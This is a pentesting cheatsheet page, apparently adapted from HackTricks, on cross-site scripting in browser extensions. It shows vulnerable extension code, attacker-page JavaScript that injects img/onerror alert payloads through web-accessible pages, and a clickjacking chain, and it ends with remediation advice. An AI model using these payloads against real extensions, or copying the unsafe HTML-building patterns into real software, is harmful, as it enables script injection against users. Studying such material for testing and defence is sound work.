daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

browext-xss-example.md (7870B)


      1 ---
      2 title: "BrowExt - XSS Example"
      3 section: "Web Pentesting"
      4 sectionSlug: "pentesting-web"
      5 sourcePath: "src/pentesting-web/browser-extension-pentesting-methodology/browext-xss-example.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/browser-extension-pentesting-methodology/browext-xss-example.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: false
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # BrowExt - XSS Example
     14 
     15 ## Cross-Site Scripting (XSS) through an Iframe
     16 
     17 In this setup, a **content script** is implemented to instantiate an Iframe, incorporating a URL with query parameters as the source of the Iframe:<sup>[[1]](#references)</sup>
     18 
     19 ```javascript
     20 chrome.storage.local.get("message", (result) => {
     21   let constructedURL =
     22     chrome.runtime.getURL("message.html") +
     23     "?content=" +
     24     encodeURIComponent(result.message) +
     25     "&redirect=https://example.net/details"
     26   frame.src = constructedURL
     27 })
     28 ```
     29 
     30 A publicly accessible HTML page, **`message.html`**, is designed to dynamically add content to the document body based on the parameters in the URL:<sup>[[1]](#references)</sup>
     31 
     32 ```javascript
     33 $(document).ready(() => {
     34   let urlParams = new URLSearchParams(window.location.search)
     35   let userContent = urlParams.get("content")
     36   $(document.body).html(
     37     `${userContent} <button id='detailBtn'>Details</button>`
     38   )
     39   $("#detailBtn").on("click", () => {
     40     let destinationURL = urlParams.get("redirect")
     41     chrome.tabs.create({ url: destinationURL })
     42   })
     43 })
     44 ```
     45 
     46 If `message.html` is declared as a web-accessible resource for the attacker's origin, script in the embedding page can navigate the iframe to a new extension URL containing attacker-controlled `content`. The page can read the iframe element's `src` attribute even though it cannot read the cross-origin extension document itself.<sup>[[1]](#references)[[3]](#references)</sup>
     47 
     48 ```javascript
     49 setTimeout(() => {
     50   let targetFrame = document.querySelector("iframe").src
     51   let baseURL = targetFrame.split("?")[0]
     52   let xssPayload = "<img src='https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/browser-extension-pentesting-methodology/invalid' onerror='alert(\"XSS\")'>"
     53   let maliciousURL = `${baseURL}?content=${encodeURIComponent(xssPayload)}`
     54 
     55   document.querySelector("iframe").src = maliciousURL
     56 }, 1000)
     57 ```
     58 
     59 In a historical Manifest V2 extension, an overly permissive Content Security Policy might look like:
     60 
     61 ```json
     62 "content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'self';"
     63 ```
     64 
     65 However, **`'unsafe-eval'` does not authorize inline event handlers** such as this payload's `onerror`; that requires `'unsafe-inline'`, a matching hash/nonce mechanism where applicable, or another executable gadget. Manifest V3 extension pages cannot relax `script-src` to include `'unsafe-eval'` or `'unsafe-inline'`. Therefore, first confirm the manifest version and effective CSP instead of assuming this exact payload executes.<sup>[[4]](#references)[[5]](#references)</sup>
     66 
     67 An alternative reachability test creates an iframe and navigates it directly to the web-accessible extension page. The same web-accessible-resource and CSP constraints still apply:<sup>[[1]](#references)[[3]](#references)</sup>
     68 
     69 ```javascript
     70 let newFrame = document.createElement("iframe")
     71 newFrame.src =
     72   "chrome-extension://abcdefghijklmnopabcdefghijklmnop/message.html?content=" +
     73   encodeURIComponent("<img src='https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/browser-extension-pentesting-methodology/x' onerror='alert(\"XSS\")'>")
     74 document.body.append(newFrame)
     75 ```
     76 
     77 ## DOM-based XSS + ClickJacking
     78 
     79 This example was taken from the [original post writeup](https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/).<sup>[[2]](#references)</sup>
     80 
     81 The core issue arises from a DOM-based Cross-site Scripting (XSS) vulnerability located in **`/html/bookmarks.html`**. The problematic JavaScript, part of **`bookmarks.js`**, is detailed below:
     82 
     83 ```javascript
     84 $("#btAdd").on("click", function () {
     85   var bookmarkName = $("#txtName").val()
     86   if (
     87     $(".custom-button .label").filter(function () {
     88       return $(this).text() === bookmarkName
     89     }).length
     90   )
     91     return false
     92 
     93   var bookmarkItem = $('<div class="custom-button">')
     94   bookmarkItem.html('<span class="label">' + bookmarkName + "</span>")
     95   bookmarkItem.append('<button class="remove-btn" title="delete">x</button>')
     96   bookmarkItem.attr("data-title", bookmarkName)
     97   bookmarkItem.data("timestamp", new Date().getTime())
     98   $("section.bookmark-container .existing-items").append(bookmarkItem)
     99   persistData()
    100 })
    101 ```
    102 
    103 This snippet fetches the **value** from the **`txtName`** input field and uses **string concatenation to generate HTML**, which is then appended to the DOM using jQuery’s `.append()` function.<sup>[[2]](#references)</sup>
    104 
    105 Chrome's extension CSP normally prevents inline script and `eval`-like execution. The historical writeup describes a particular Manifest V2 extension, jQuery version, CSP, and DOM-insertion behavior involving jQuery's `globalEval()` and JavaScript's `eval()`. The direct API references are retained because they help trace that historical execution path. Do not generalize the chain to every call to `.html()`: verify the bundled jQuery implementation and effective CSP, and remember that Manifest V3 forbids `'unsafe-eval'` for ordinary extension pages.<sup>[[2]](#references)[[4]](#references)[[5]](#references)[[6]](#references)[[7]](#references)</sup>
    106 
    107 While this vulnerability is significant, its exploitation is usually contingent on user interaction: visiting the page, entering an XSS payload, and activating the “Add” button.<sup>[[2]](#references)</sup>
    108 
    109 To enhance this vulnerability, a secondary **clickjacking** vulnerability is exploited. The Chrome extension's manifest showcases an extensive `web_accessible_resources` policy:<sup>[[2]](#references)</sup>
    110 
    111 ```json
    112 "web_accessible_resources": [
    113     "html/bookmarks.html",
    114     "dist/*",
    115     "assets/*",
    116     "font/*",
    117     [...]
    118 ],
    119 ```
    120 
    121 In that extension, **`/html/bookmarks.html`** was both web-accessible and frameable, enabling **clickjacking**. The attacker could frame the page and overlay decoy UI so the victim interacted with the extension page unintentionally.<sup>[[2]](#references)</sup>
    122 
    123 For remediation, expose only the resources and origins that require web access, build untrusted text with `textContent`/jQuery `.text()` rather than HTML strings, validate redirect schemes and destinations, retain the strict extension-page CSP, and avoid putting privileged extension UI in a frameable web-accessible page.<sup>[[3]](#references)[[4]](#references)</sup>
    124 
    125 ## References
    126 
    127 - [1] [When extension pages are web-accessible](https://palant.info/2022/08/31/when-extension-pages-are-web-accessible/)
    128 - [2] [Steam, Fire, and Paste: A Story of UXSS via DOM XSS & Clickjacking in Steam Inventory Helper](https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/)
    129 - [3] [Chrome Extensions - Web-accessible resources](https://developer.chrome.com/docs/extensions/reference/manifest/web-accessible-resources)
    130 - [4] [Chrome Extensions - Improve extension security and Manifest V3 CSP](https://developer.chrome.com/docs/extensions/develop/migrate/improve-security)
    131 - [5] [Chrome Developers - Content Security Policy keywords](https://developer.chrome.com/docs/privacy-security/csp)
    132 - [6] [jQuery API - `jQuery.globalEval()`](https://api.jquery.com/jquery.globaleval/)
    133 - [7] [MDN - `eval()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval)